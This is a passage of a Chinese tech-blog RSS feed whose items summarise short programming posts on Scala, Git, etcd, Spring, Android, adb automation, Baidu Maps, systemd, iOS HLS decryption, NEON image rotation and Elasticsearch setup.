      <description> object T1_highOrder01 { def main(args: Array[String]): Unit = { println(&#34;---------------------使用高阶函数------------------&#34;) val t2: List[Int] = List(4, 6, 23) val list2: List[Int] = t2.map(c2) println(list2) def c2(i:Int):Int={ i*2 } } } 如上述代码运行抛出： forward reference extends over definition of value list2&#xA;原因：方法体不能放在main主函数中，也就是c2不能再main中 改为如下：&#xA;object T1_highOrder01 { def main(args: Array[String]): Unit = { println(&#34;---------------------使用高阶函数------------------&#34;) val t2: List[Int] = List(4, 6, 23) val list2: List[Int] = t2.map(c2) println(list2) //---------------------使用高阶函数------------------ //List(8, 12, 46) } //函数体 def c2(i:Int):Int={ i*2 } } </description>
    </item>
    <item>
      <title>Git操作总结</title>
      <link>https://bchobby.github.io/posts/a7c3257992e020edd2dbae01c9235fb9/</link>
      <pubDate>Wed, 30 Oct 2019 23:38:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7c3257992e020edd2dbae01c9235fb9/</guid>
      <description>文章目录 配置账号配置view配置log颜色配置 别名配置命令配置配置文件配置 概念澄清常用命令总结fork操作仓库操作分支操作tag操作查看操作提交操作保存操作撤销操作删除操作重命名操作拯救大魔王忽略文件patch操作 功能总结git统计功能 配置 账号配置 对应的文件为~/.gitconfig or ~/.config/git/config&#xA;git config --global user.name test&#xA;git config --global user.email test@example.com&#xA;git config --list # 查看配置信息&#xA;view配置 log颜色配置 [color]&#xA;diff = auto&#xA;status = auto&#xA;branch = auto&#xA;interactive = true&#xA;ui = true&#xA;别名配置 命令配置 git config --global alias.st status git config --global alias.ci commit git config --global alias.br branch git config --global alias.co checkout git config --global alias.pl pull --rebase git config --global alias.</description>
    </item>
    <item>
      <title>etcd租约及监听key</title>
      <link>https://bchobby.github.io/posts/21026c96c3a7e97e95494072874a6c94/</link>
      <pubDate>Wed, 30 Oct 2019 17:27:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21026c96c3a7e97e95494072874a6c94/</guid>
      <description>package main import ( &#34;context&#34; &#34;log&#34; &#34;time&#34; &#34;go.etcd.io/etcd/clientv3&#34; ) func main() { var conf = clientv3.Config{ Endpoints: []string{&#34;127.0.0.1:2380&#34;}, DialTimeout: 5 * time.Second, } //创建clinetv3 client, err := clientv3.New(conf) defer client.Close() if err != nil { log.Fatal(err.Error()) } //创建租约 lease := clientv3.NewLease(client) //设置租约时间 leaseResp, err := lease.Grant(context.TODO(), 30) if err != nil { log.Fatal(err.Error()) } //设置续租 leaseID := leaseResp.ID ctx, _ := context.WithCancel(context.TODO()) leaseRespChan, err := lease.KeepAlive(ctx, leaseID) if err !</description>
    </item>
    <item>
      <title>Android基础--ListView中的setSelection方法</title>
      <link>https://bchobby.github.io/posts/77f0600a123fb14a62e47b6d83fbad2b/</link>
      <pubDate>Wed, 30 Oct 2019 17:20:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77f0600a123fb14a62e47b6d83fbad2b/</guid>
      <description>ListView中的setSelection方法 setSelection使用场景 public void setSelection(int position)&#xA;当聊天软件中出现很多消息的时候，会如下图顶端显示还有26条新消息，点击会跳转到最早的未读新消息的位置，这就是setSelection的使用场景&#xA;setSelectionFromTop 与setSelection类似 public void setSelectionFromTop(int position, int y)&#xA;setSelectionFromTop比setSelection多了一个y参数，就是设置该item与顶端的详细距离。</description>
    </item>
    <item>
      <title>by function in R</title>
      <link>https://bchobby.github.io/posts/24ff039f2acd6a3535259eb916d3065c/</link>
      <pubDate>Wed, 30 Oct 2019 17:14:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24ff039f2acd6a3535259eb916d3065c/</guid>
      <description> by function in R&#xA;by&#xA;Apply A Function To A Data Frame Split By Factors&#xA;Function by is an object-oriented wrapper for tapply applied to data frames.&#xA;usage&#xA;by(data, INDICES, FUN, …, simplify = TRUE) Example&#xA;7男3，通过下面的函数可以返回的是：男生的平均年龄，女生的平均年龄by(age, gender, function(x), mean(x))&#xA;p &amp;lt;- read.csv(&#39;age.csv&#39;, header = F) p[1,1]=c(&#34;female&#34;) colnames(p)=c(&#34;Gender&#34;,&#34;Age&#34;) attach(p) aver=by(Age, Gender, function(x) mean(x)) print(aver) Gender: female[1] 27.5 --------------------------------------------------------------------------------------- Gender: male[1] 38.57143 </description>
    </item>
    <item>
      <title>Mac下远程桌面连接Microsoft Remote Desktop安装与使用</title>
      <link>https://bchobby.github.io/posts/23a533c57d120f03871d51f40c38fdff/</link>
      <pubDate>Wed, 30 Oct 2019 00:17:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23a533c57d120f03871d51f40c38fdff/</guid>
      <description>前情提示：&#xA;Mac OS10.14；&#xA;Windows下已自带，而且新版本Windows有单独RD客户端，RD是一款连接远程桌面的软件，如果连接Linux可以用x she l l等，连接Windows图形界面可以使用微软对的RD。&#xA;文章更新说明：&#xA;1.RD已经更新到10.3.8（20200302），可以在app store中下载：https://apps.apple.com/app/microsoft-remote-desktop/id1295203466?mt=12&#xA;或者在我们要在 HockeyApp 上测试我们预览频道中的新功能。 要看看么？ 转到适用于 Mac 的 Microsoft 远程桌面并单击“下载” 。 无需创建帐户或登录 HockeyApp，即可下载 beta 版客户端。&#xA;Version 10.3.8 (1747)&#xA;Feb 11, 2020 at 01:56&#xA;23.24 MB&#xA;It&#39;s 2020 and time for our first release of the year. The key change in this update is the ability to switch between Scancode (CTRL+COMMAND+K) and Unicode (CTRL+COMMAND+U) modes when entering keyboard input. Unicode mode allows extended characters to be typed using the OPTION key on a Mac keyboard.</description>
    </item>
    <item>
      <title>adb shell 指定设备</title>
      <link>https://bchobby.github.io/posts/98cc02a66d30389ddae5872459893538/</link>
      <pubDate>Tue, 29 Oct 2019 23:27:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98cc02a66d30389ddae5872459893538/</guid>
      <description>adb -s ******** shell</description>
    </item>
    <item>
      <title>Required String parameter ‘XXX’ is not present</title>
      <link>https://bchobby.github.io/posts/8707a9acf630104cb1421bac103d1cc7/</link>
      <pubDate>Tue, 29 Oct 2019 19:17:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8707a9acf630104cb1421bac103d1cc7/</guid>
      <description>转载于： https://www.cnblogs.com/williamjie/p/9200559.html&#xA;此问题出现于使用注解 @RequestParam 时，指定参数映射的问题，若为非必填，设置注解属性：required=false&#xA;400错误，Required String parameter &#39;paramter&#39; is not present&#xA;1.就拿简单的登录来说吧，这是开始的代码&#xA;@RequestMapping(value=&#34;/login&#34;)&#xA;public ModelAndView login(@RequestParam(“loginname”) String loginname,&#xA;@RequestParam(&#34;password&#34;) String password,&#xA;HttpSession session,&#xA;ModelAndView mv){&#xA;// 调用业务逻辑组件判断用户是否可以登录&#xA;User user = hrmService.login(loginname, password);&#xA;if(user != null){&#xA;// 将用户保存到HttpSession当中&#xA;session.setAttribute(HrmConstants.USER_SESSION, user);&#xA;// 客户端跳转到main页面&#xA;mv.setViewName(&#34;redirect:/main&#34;);&#xA;}else{&#xA;// 设置登录失败提示信息&#xA;mv.addObject(&#34;message&#34;, &#34;登录名或密码错误!请重新输入&#34;);&#xA;// 服务器内部跳转到登录页面&#xA;mv.setViewName(&#34;forward:/loginForm&#34;);&#xA;}&#xA;return mv;&#xA;}&#xA;在浏览器中输入localhost:8080/xxx/login，爆出了400，Required String parameter &#39;paramter&#39; is not present。&#xA;2.controller类中，在注解@RequestParam，添加value=&#34;paramter&#34;,required=false.切记，是false.就OK了。&#xA;@RequestMapping(value=&#34;/login&#34;)&#xA;public ModelAndView login(@RequestParam(value=&#34;loginname&#34;,required=false) String loginname,</description>
    </item>
    <item>
      <title>JavaWeb实现基础增删改查CRUD的一个小Demo</title>
      <link>https://bchobby.github.io/posts/6dbc41b27bbc4df05e3921a31b7e927e/</link>
      <pubDate>Tue, 29 Oct 2019 19:04:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dbc41b27bbc4df05e3921a31b7e927e/</guid>
      <description> 一.层级展示 二.dao和domain dao:&#xA;domain:&#xA;三.jdbcutil jdbcutil:&#xA;MyBeanUtil:&#xA;四.servlet 五.流程 六.关键代码逻辑 查询：&#xA;删除：&#xA;添加和修改：&#xA;UserServlet:&#xA;gitee地址 </description>
    </item>
    <item>
      <title>[Python]调用adb抢双十一淘宝喵币</title>
      <link>https://bchobby.github.io/posts/d8ffa7e593ca0149802b2f24a9370697/</link>
      <pubDate>Tue, 29 Oct 2019 15:15:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8ffa7e593ca0149802b2f24a9370697/</guid>
      <description>原创文章，欢迎转载。转载请注明：转载自 祥的博客&#xA;原文链接：https://blog.csdn.net/humanking7/article/details/102800059&#xA;文章目录 @[toc] 动机原理代码 使用方法声明&amp;amp;鸣谢2020.1.7补充 用Python调用adb抢双十一淘宝喵币&#xA;动机 每次都要跟傻子一样等个15秒，真的是劳心劳力，时常变动，网上的脚本都得自己改改适应自己的分辨率，故而写了这篇文章&#xA;原理 其实就相当于一个按键精灵，用Python调用adb工具去模拟手指点击，退出事件，没什么科技含量，只是对adb命令的熟悉情况&#xA;代码 #!/usr/bin/env python # coding: utf-8 import os import time # ================================================= # 模拟滑动 def initlocal(): time.sleep(2) # 滑动前休息2秒，避免网络不好 os.system(&#39;adb shell input swipe 900 1200 900 500&#39;) # 模拟从下往上滑动 time.sleep(2) # 滑动后休息2秒，避免开始计时延迟 # ================================================= # 返回上一页面 def goback(): os.system(&#39;adb shell input keyevent KEYCODE_BACK&#39;) # 返回 time.sleep(2) print(&#39;退出&#39;) # ================================================= def task_end_1(cnt): print(&#39;\n====== 浏览最后一个项目 ======&#39;) print(&#39;一共[%d]次&#39;%cnt) for i in range(1, cnt+1): os.</description>
    </item>
    <item>
      <title>百度地图 API 使用总结</title>
      <link>https://bchobby.github.io/posts/0cfa9b20d782050cc655b37c4d2e3dd6/</link>
      <pubDate>Tue, 29 Oct 2019 14:50:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cfa9b20d782050cc655b37c4d2e3dd6/</guid>
      <description>百度地图API学习总结（一） 说明 公司项目需要一些关于定位和路线规划的功能，需要在网页中嵌入百度地图，这里主要是做一个记录，记录在开发应用中使用过的API，以便以后查询。&#xA;官方文档及参考指南下载 百度地图的官方文档写的很详细，但是内容非常多，并且很多是暂时用不到的，看起来稍微有一些麻烦，但是当你需要查找某些功能时，官方文档又是必不可少的&#xA;1.首先进入百度地图开放平台&#xA;2.找到 开发 选项，选择合适的平台，我选的Web开发——JavaScript API&#xA;3.根据说明，需要先申请秘钥才可以使用&#xA;4.然后回到之前的页面，左侧导航，有开发所需的所有资源，包括示例，示例相对来说比较重要，因为对新手来讲，示例对功能体现的更为直接，我一般都是看着示例结合着文档来编写代码的。&#xA;5.最后就是关键的文档了，在左侧导航的最下边相关下载中下载最新版本的文档，《开发指南文档》主要是一些入门的介绍和功能的举例，《类参考文档》是API的详细使用指南&#xA;开发流程&#xA;1.首先获取服务，获取秘钥后，在HTML中引入，如下：&#xA;&amp;lt;script src=&#34;http://api.map.baidu.com/api?v=2.0&amp;amp;ak=yourAppKey&#34; type=&#34;text/javascript&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xA;将秘钥yourAppKey替换成你自己的即可&#xA;2.定义一个容器，地图会在定义的容器中显示，这个容器要有确定的宽高,如果是移动端还需要加上meta标签&amp;lt;meta name=&#34;viewport&#34; content=&#34;initial-scale=1.0, user-scalable=no&#34; /&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge,chrome=1&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;initial-scale=1.0, user-scalable=no&#34; /&amp;gt; &amp;lt;title&amp;gt;标题&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;./css/app.css&#34;&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://api.map.baidu.com/api?v=2.0&amp;amp;ak=yourAppKey&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt;&amp;lt;/div&amp;gt; //容器 &amp;lt;script&amp;gt; // 代码 &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 3.命名空间&#xA;API 使用 BMap 作为命名空间，所有类都在命名空间之下，也就是说无论是创建地图，还是创建一个覆盖物或者控件，都需要使用 BMap.[类]，下边是一个简易的地图实例(在上边代码的&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;标签中实现)&#xA;&amp;lt;body&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt;&amp;lt;/div&amp;gt; //容器 &amp;lt;script&amp;gt; // 代码 var map = new BMap.</description>
    </item>
    <item>
      <title>win10 1809 开启文件共享</title>
      <link>https://bchobby.github.io/posts/cb8b647453cfdc7ea4bd78b287e208fe/</link>
      <pubDate>Mon, 28 Oct 2019 23:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb8b647453cfdc7ea4bd78b287e208fe/</guid>
      <description> win10 1809 开启文件共享 ios 的nplayer 报错，connection reset by beer ，在系统功能与选项里面开启如下功能： </description>
    </item>
    <item>
      <title>Linux之systemd服务配置及自动重启</title>
      <link>https://bchobby.github.io/posts/4533e46fe1b8da6f524560d322a016c8/</link>
      <pubDate>Mon, 28 Oct 2019 22:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4533e46fe1b8da6f524560d322a016c8/</guid>
      <description>Linux之systemd服务配置及自动重启 0 背景 在linux上开发时，往往需要将自己的程序做成服务，并且实现服务开机自动重启，以及服务崩溃后自动重启功能，本文就对该功能的实现做简单介绍，实现方法很简单，使用linux系统的systemd即可实现&#xA;1 systemd介绍 历史上，linux的启动一直采用init进程，比如&#xA;$ sudo /etc/init.d/apache2 start 或者&#xA;$ service apache2 start 这种方法有两个缺点。&#xA;一是启动时间长。init进程是串行启动，只有前一个进程启动完，才会启动下一个进程。&#xA;二是启动脚本复杂。init进程只是执行启动脚本，不管其他事情。脚本需要自己处理各种情况，这往往使得脚本变得很长。&#xA;Systemd 就是为了解决这些问题而诞生的。它的设计目标是，为系统的启动和管理提供一套完整的解决方案。&#xA;根据 Linux 惯例，字母d是守护进程（daemon）的缩写。 Systemd 这个名字的含义，就是它要守护整个系统。使用了 Systemd，就不需要再用init了。Systemd 取代了initd，成为系统的第一个进程（PID 等于 1），其他进程都是它的子进程。&#xA;systemctl是 Systemd 的主命令，用于管理系统。对于用户来说，最常用的是下面这些命令，用于启动和停止 Unit（主要是 service）。&#xA;-立即启动一个服务 $ systemctl start apache.service -立即停止一个服务 $ systemctl stop apache.service -重启一个服务 $ systemctl restart apache.service -杀死一个服务的所有子进程 $ systemctl kill apache.service -重新加载一个服务的配置文件 $ systemctl reload apache.service -重载所有修改过的配置文件 $ systemctl daemon-reload -显示某个 Unit 的所有底层参数 $ systemctl show httpd.</description>
    </item>
    <item>
      <title>广义线性模型</title>
      <link>https://bchobby.github.io/posts/f75f78e601c7f1a41b3919d0291d6d88/</link>
      <pubDate>Mon, 28 Oct 2019 19:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f75f78e601c7f1a41b3919d0291d6d88/</guid>
      <description>广义线性模型 二分类问题的输出，二项分布，&#xA;多分类问题的输出，多项分布&#xA;回归问题的输出，高斯分布&#xA;这些任务都可以表示为广义线性模型&#xA;线性模型&#xA;y = 1 2 π σ 2 e ( z − μ ) 2 σ 2 , z = θ T x y=\frac{1}{\sqrt{2\pi\sigma^2}}e^{\frac{(z-\mu)^2}{\sigma^2}},z = \theta^Tx y=2πσ2 ​1​eσ2(z−μ)2​,z=θTx二分类&#xA;y 1 = e − z 1 + e − z , z = θ T x y_1 = \frac{e^{-z}}{1+e^{-z}},z=\theta^{T}x y1​=1+e−ze−z​,z=θTx多分类&#xA;y j = e z j ∑ i e z i , z = θ T x y_j=\frac{e^{z_j}}{\sum_ie^{z_i}}, z=\theta^Tx yj​=∑i​ezi​ezj​​,z=θTx 指数族 概率分布函数表达式：</description>
    </item>
    <item>
      <title>iOSHLS  M3U8 自定义AES-128钥匙串或链接解密流程（播放，下载，下载本地后播放）</title>
      <link>https://bchobby.github.io/posts/e8a2a7bec16e22fe48467b7359fcf0c7/</link>
      <pubDate>Mon, 28 Oct 2019 10:19:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8a2a7bec16e22fe48467b7359fcf0c7/</guid>
      <description>iOSHLS M3U8 自定义AES-128钥匙串或链接解密流程（播放，下载，下载本地后播放） 其实理论上来说苹果支持原生直接播放 AES-128加密的，只要符合苹果的加密标准但是在实际使用过程中，因为有安卓、H5、或者基于已有的接口数据，或是想要自定义钥匙串保密方式，在或者想要加密播放加密链接，加密钥匙串链接，基于以上的种种要求，直接用AVPlay 显然不能满足所有的要求，所以苹果在加入了一个新的Api 用来重定向播放链接。&#xA;网上对于HLS 加密的资料比较少，尤其是对加密过后的HLS 链接本地下载，本地播放就更少了，我也是摸着石头过河，这些是我总结的一些资料，和我自己整个的学习过程&#xA;1、基础篇:如何播放未加密的HLS M3U8 音频或视频 以下我以音频举例子视频其实一样就是把AVPlayer 的layer 加到View上，网上的例子很多不做赘述&#xA;我用的七牛的链接作为测试链接理论来说只要你的播放链接能直接放到safri上播放，那么用AVPlayer也可以正常播放&#xA;AVURLAsset * asset = [AVURLAsset assetWithURL:[NSURL URLWithString:@&#34;https://devstreaming-cdn.apple.com/videos/streaming/examples/bipbop_4x3/bipbop_4x3_variant.m3u8&#34;]]; AVPlayerItem * item = [AVPlayerItem playerItemWithAsset:asset]; AVPlayer * player = [AVPlayer playerWithPlayerItem:item]; [player play]; 那么看下未加密的M3u8数据的内容格式&#xA;#EXTM3U #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=232370,CODECS=&#34;mp4a.40.2, avc1.4d4015&#34; gear1/prog_index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=649879,CODECS=&#34;mp4a.40.2, avc1.4d401e&#34; gear2/prog_index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=991714,CODECS=&#34;mp4a.40.2, avc1.4d401e&#34; gear3/prog_index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1927833,CODECS=&#34;mp4a.40.2, avc1.4d401f&#34; gear4/prog_index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=41457,CODECS=&#34;mp4a.40.2&#34; gear0/prog_index.m3u8 音频头包含播放的链接和内容AVPlayer会自动匹配&#xA;2、进阶篇:如何播放加密的HLS M3U8 音频或视频 其实加密和未加密的区别主要在于头文件的不同&#xA;这个是有关苹果对于标准HLS链接的要求&#xA;https://developer.apple.com/documentation/http_live_streaming/about_the_common_media_application_format_with_http_live_streaming?language=objc&#xA;如果是标准加密的AVPlayer支持原生播放与上面的播放方式相同&#xA;以下我将介绍如何播放非标准加密:例如你的密匙是服务保存一部分本地一部分，或者你的key是加密的钥匙串&#xA;这里我以七牛链接作为例子&#xA;#EXTM3U #EXT-X-VERSION:3 #EXT-X-MEDIA-SEQUENCE:0 #EXT-X-ALLOW-CACHE:YES #EXT-X-TARGETDURATION:11 #EXT-X-KEY:METHOD=AES-128,URI=&#34;</description>
    </item>
    <item>
      <title>SSM框架增删改查</title>
      <link>https://bchobby.github.io/posts/704b3072fe86a15f14c5ef4206dc7f4f/</link>
      <pubDate>Sun, 27 Oct 2019 22:39:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/704b3072fe86a15f14c5ef4206dc7f4f/</guid>
      <description>首先先创建包的结构&#xA;UserController：&#xA;22:30:25&#xA;?? 2019/10/27 星期日 22:30:25&#xA;@Controller&#xA;public class UserController {&#xA;@Autowired&#xA;private IUserService userService;&#xA;@RequestMapping(&#34;/findAll.do&#34;)&#xA;public ModelAndView findAll(@RequestParam(defaultValue = “1”) int pageNum, @RequestParam(defaultValue = “5”) int size) {&#xA;List users=userService.findAll(pageNum,size);&#xA;PageInfo pageInfo=new PageInfo&amp;lt;&amp;gt;(users);&#xA;ModelAndView modelAndView=new ModelAndView();&#xA;modelAndView.setViewName(“allUser.jsp”);&#xA;modelAndView.addObject(“pageInfo”,pageInfo);&#xA;return modelAndView;&#xA;}&#xA;@RequestMapping(&#34;/login.do&#34;)&#xA;public String login(User user){&#xA;Boolean flag=userService.login(user.getUsername(),user.getPassword());&#xA;if(flag){&#xA;return “redirect:/findAll.do”;&#xA;}else{&#xA;return “failure.jsp”;&#xA;}&#xA;}&#xA;@RequestMapping(&#34;/delete.do&#34;)&#xA;public String deleteById(int id){&#xA;userService.deleteById(id);&#xA;return “redirect:/findAll.do”;&#xA;}&#xA;@RequestMapping(&#34;/toUpdate.do&#34;)&#xA;public ModelAndView toUpdate(int id){</description>
    </item>
    <item>
      <title>Springmvc查询和删除（两节课）</title>
      <link>https://bchobby.github.io/posts/454d5cf62d853d1795e0ef352e7d903c/</link>
      <pubDate>Sun, 27 Oct 2019 22:17:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/454d5cf62d853d1795e0ef352e7d903c/</guid>
      <description>两节课合起来做了Springmvc的查询和删除，首先是创建包的结构：&#xA;UserController中的代码：&#xA;@Controller&#xA;public class UserController {&#xA;@Autowired&#xA;private IUserService userService;&#xA;@RequestMapping(&#34;/findAll.do&#34;)&#xA;public ModelAndView findAll() {&#xA;List users = userService.findAll();&#xA;ModelAndView modelAndView = new ModelAndView();&#xA;modelAndView.setViewName(“allUser.jsp”);&#xA;modelAndView.addObject(“users”, users);&#xA;return modelAndView;&#xA;}&#xA;@RequestMapping(&#34;/login.do&#34;)&#xA;public String login(User user) {&#xA;Boolean flag = userService.login(user.getUsername(), user.getPassword());&#xA;if (flag) {&#xA;return “redirect:/findAll.do”;&#xA;} else {&#xA;return “failure.jsp”;&#xA;}&#xA;}&#xA;@RequestMapping(&#34;/delete.do&#34;)&#xA;public String deleteById(int id) {&#xA;userService.deleteById(id);&#xA;return “redirect:/findAll.do”;&#xA;}&#xA;@RequestMapping(&#34;/addUser.do&#34;)&#xA;public String addById(User user) {</description>
    </item>
    <item>
      <title>转载：ultraiso制作超过4G的系统U盘启动盘教程</title>
      <link>https://bchobby.github.io/posts/336c60d01881ad979eda705604cf631e/</link>
      <pubDate>Sun, 27 Oct 2019 17:40:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/336c60d01881ad979eda705604cf631e/</guid>
      <description>转载自：http://www.winwin7.com/JC/5552.html&#xA;ultraiso也算是老牌的光盘镜像工具了，使用ultraiso来制作U盘启动盘非常简单，在之前的《UltraISO制作U盘启动盘》中就有分享，不过鉴于很多朋友反馈4G以上的系统ISO镜像文件无法制作成U盘启动盘，或不能启动，我们也给大家分享了方法。&#xA;ultraiso制作超过4G的系统U盘启动盘教程：&#xA;首先准备一个8G以上的U盘（建议）&#xA;1、首先，用UltraISO打开ISO文件，将里面大于4G的文件删除(如sources目录下的install.wim)，然后将ISO文件另存为一个新文件，注意不要覆盖了原文件!保存；&#xA;2、接下来就按正常的方法制作U盘启动盘，启动—写入硬盘映像；&#xA;先格式化一下U盘&#xA;格式化完成。&#xA;写入ISO映像&#xA;写入完成后关闭；&#xA;3、制作完成后，将U盘转换为NTFS文件系统，方法是：管理员身份运行CMD或快捷键WIN+R，然后输入如下命令convert x: /fs:ntfs(x为U盘的盘符)，回车运行即可。&#xA;4、解压ISO镜像或者通过UltraISO找到ISO中的sources目录里的install.wim，提取到U盘的原来的目录即可!等待写入完成后就可以使用U盘安装新系统了。&#xA;通过上面曲线救国的方法我们顺利完成了4G以上ISO镜像文件的U盘启动盘制作过程。&#xA;注意：因为主板BIOS的原因，部分电脑可能需要选择不同的“磁盘主引导记录”，如果遇到不能启动的情况，“便捷启动”选择 “写入新的磁盘主引导记录(MBR)”——USB-HDD+(也可选择USB-HDD、USB-ZIP、HDD等，不行可试试其他的)记录即可!</description>
    </item>
    <item>
      <title>基于NEON指令的图像旋转加速【armv7】</title>
      <link>https://bchobby.github.io/posts/d7e9150cf70d7901e9133e1839207485/</link>
      <pubDate>Sun, 27 Oct 2019 00:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7e9150cf70d7901e9133e1839207485/</guid>
      <description>目录&#xA;前言&#xA;知识直通车&#xA;NEON转置指令&#xA;右旋90&#xA;4x4矩阵右旋实例&#xA;灰度图（单通道）右旋90&#xA;彩图（RGB三通道）右旋90&#xA;左旋90&#xA;4x4矩阵左旋实例&#xA;灰度图（单通道）左旋90&#xA;彩图（RGB三通道）左旋90 RK3288-linux(硬浮点) 耗时对比&#xA;前言 图像旋转就是简单的坐标变换，1080p的图像右旋90度耗时时间，在RK3288-linux(硬浮点)板子上，opencv4.1也就17ms搞定，本没啥好讲的，但是凡事追求极致嘛，能加速的就给他加速一把，当然这态度的问题只是其中一个原因；另外一个原因是最近在公司遇到一个对旋转90的加速需求，在某些场景下，需要做图像旋转然后再送入神经网络做人脸检测，而由于整个人脸识别整个工程的运行导致板子的资源极大消耗，使得简单的图像旋转的时间延长至三四十ms，这是很可怕的，人脸检测也就二三十ms左右吧，所以这是写这篇文章的直接导火索。&#xA;当然，类似的利用NEON对矩阵旋转加速的解决方案，网上已经有人发表过了，比如最早的文章https://www.cnblogs.com/hrlnw/p/3723072.html，本篇博客会在此基础上进行扩展，增加RGB彩图的加速旋转代码并补充opencv与本篇算法在RK3288上的旋转耗时数据对比。&#xA;知识直通车 矩阵右旋90的NEON加速：https://www.cnblogs.com/hrlnw/p/3723072.html&#xA;矩阵右旋180度和270(-90)度：https://www.cnblogs.com/hrlnw/p/3767853.html&#xA;opencv右旋90、180、270度：https://www.cnblogs.com/alexYuin/p/9493242.html&#xA;opencv利用transpose+flip实现图像旋转，虽然比仿射变换函数warpaffine要快不少，但是分步的做法总是没有一步到位的解决方案来得快的，接下来就开始介绍一步到位法了。&#xA;NEON转置指令 可以用neon进行旋转加速的关键要感谢arm出品的vtrn_u8/u16/u32..系列的转置指令，虽然是2x2的转置指令，但是对于矩阵旋转完全够用，取决于怎么用了。&#xA;转置的具体情况如下示意，应该很清楚就不多少了&#xA;uint8x8_t mat0,mat1; uint8x8x2_t result=vtrn_u8(mat0,mat1); 右旋90 4x4矩阵右旋实例 在介绍图形旋转代码之前先用个小矩阵实例说明一下算法的可行性。先说右旋90度：&#xA;旋转前矩阵 旋转后矩阵&#xA;算法步骤：&#xA;1）相邻两行每2x2做转置(但是注意输入顺序是倒的，比如前两行，第二行作为vtrn的第一个参数输入，第一行作为vtrn的第二个参数输入)，结果如下：&#xA;原矩阵 相邻行倒置 相邻行转置 2）每行两个像素值看做一个整体，隔行转置，依然倒着输入，即2、0行一组输入，3、1行一组输入，这样便可以得到最终的矩阵旋转结果了，过程如下：&#xA;上一步结果 隔行倒置 隔行转置&#xA;例子看明白了，那下面图像旋转也就很简单了，soeasy啊~&#xA;图像旋转与矩阵旋转的区别就是.....嗯.....图像比较大，下就分块喽，那从指令读取数据的角度以及代码量及速度方面的考虑我们将图像分成8x8的小块矩阵一个一个做旋转然后再放到最终图像相应的位置就可以了。&#xA;灰度图（单通道）右旋90 static void rotate_pos90_gray(uint8_t* src, size_t sstep, uint8_t* dst, size_t dstep, int w,int h) { uint8x8x4_t mat[2]; uint8x8x2_t temp8x8x2[4]; uint16x4x4_t temp16x4x4[2]; uint16x4x2_t temp16x4x2[4]; uint32x2x4_t temp32x2x4[2]; uint32x2x2_t temp32x2x2[4]; int dw=w&amp;amp;7; int sw=w-dw; int dh=h&amp;amp;7; int sh=h-dh; for(int y=0;y&amp;lt;sh;y+=8) { uint8_t* pIndexY = src+y*sstep; int tr_x = h-y-8; for(int x=0;x&amp;lt;sw;x+=8) { uint8_t* ptr_y = dst+x*dstep; //load 8x8 matrix mat[0].</description>
    </item>
    <item>
      <title>2种方式将日志同步ES中并且用kibana展示</title>
      <link>https://bchobby.github.io/posts/93e45e03aea07cf3528abda9e2e18011/</link>
      <pubDate>Sat, 26 Oct 2019 22:27:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93e45e03aea07cf3528abda9e2e18011/</guid>
      <description>零、前提&#xA;0.1 配置es&#xA;解压文件&#xA;tar zxvf elasticsearch-6.2.2.tar.gz 由于es不能用root账户启动，所以需要添加一个非root账户&#xA;useradd es 修改es文件夹的权限&#xA;chown -R es:es elasticsearch-6.2.2 修改配置文件&#xA;vi /usr/local/elasticsearch-6.2.2/config/elasticsearch.yml 修改elasticsearch.yml的内容如下&#xA;#端口 http.port: 9200 #IP network.host: 0.0.0.0 #外网IP network.publish_host: 121.41.1.1 http.cors.enabled: true http.cors.allow-origin: &#34;*&#34; #data路径 path.data: /usr/local/elasticsearch-6.2.2/data #logs路径 path.logs: /usr/local/elasticsearch-6.2.2/logs 创建data和logs文件夹&#xA;mkdir data logs 启动es(为了方便观察日志没有后台启动)&#xA;./bin/elasticsearch 0.2 logstash 配置&#xA;解压文件&#xA;tar zxvf logstash-6.2.2.tar.gz 进入config文件夹新建logstash-spring.conf文件并编写内容&#xA;mkdir logstash-spring.conf vi logstash-spring.conf log4j_es.conf内容&#xA;input { tcp { port =&amp;gt; 5000 codec =&amp;gt; json_lines } } output{ elasticsearch { hosts =&amp;gt; [&#34;</description>
    </item>
    <item>
      <title>转载:威联通TS-251&#43;，使用emby&#43;kodi 建立本地影音文件服务，及文件分类整理的经验</title>
